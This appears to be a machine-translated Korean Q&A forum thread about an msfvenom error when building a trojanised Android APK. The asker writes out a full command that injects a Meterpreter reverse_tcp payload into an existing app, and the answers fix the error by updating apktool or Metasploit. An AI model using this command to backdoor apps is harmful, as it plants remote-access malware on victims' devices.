2016-07-14 8 views
0
내가 안드로이드 사용하여 메타 스플로 잇을위한 트로이 목마의 APK를 만들려고 해요

, 이것은 내가 사용 명령입니다 :메타 스플로 잇 : 아키텍처로 달빅을 선택할 때 잘못된 버전 번호 문자열은

msfvenom -a dalvik --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk 

그리고 나는이납니다 오류 :

Error: Malformed version number string 10:55:45 up 1:23, 1 user, load average: 0.62, 0.54, 0.39 
USER  TTY  FROM    [email protected] IDLE JCPU PCPU WHAT 
user123 tty7  :0    09:32 1:23m 1:10 0.13s /sbin/upstart --user 
2.0.2-dirty 

그런 다음 다른 아키텍처를 선택하려고했습니다. 예 : java :

msfvenom -a java --platform android -p android/meterpreter/reverse_tcp LHOST=myIP LPORT=myPort -x /testDir/something.apk R -o /testDir/something-Out.apk 

그리고 효과가있었습니다 (Out-out.apk가 생성되었습니다). 따라서 Malformed version number string 오류가 dalvik이 아키텍처로 선택되었을 때만 발생하는 것처럼 보입니다. 왜 이런 일이 일어나고 어떻게 해결할 수 있습니까?

Mac에서 실행되는 VirtualBox의 Ubuntu에서이 작업을 수행하고 있습니다. 어떤 도움을 주셔서 감사합니다, 감사합니다!

답변

0

학점으로는 :

https://forums.hak5.org/index.php?/topic/38648-msfvenom-error-ubuntu-1604/

같은 문제가 있었다, 그러나 나는 (분명히 어떤 작품) 코드의 간단한 버전을 실행하려고했다. 포럼에서 검색 한 후 apktool에서 문제가 있음이 밝혀졌습니다. sudo apt-get install apktool을 사용하여 apktool을 다운로드했지만 해당 버전이 제대로 작동하지 않습니다.

sudo apt-get remove apktool으로 제거한 후 웹 사이트에서 최신 버전을 다운로드했는데 작동했습니다.

나는 일 년이되었지만 일을 찾고 있었다. 그것이 도움이되기를 바랍니다 ... 누군가.

0

나는 msfvenom과 동일한 문제가있었습니다. "msfupdate"를 실행하면 70 MB 패키지가 다운로드되고 문제가 해결됩니다.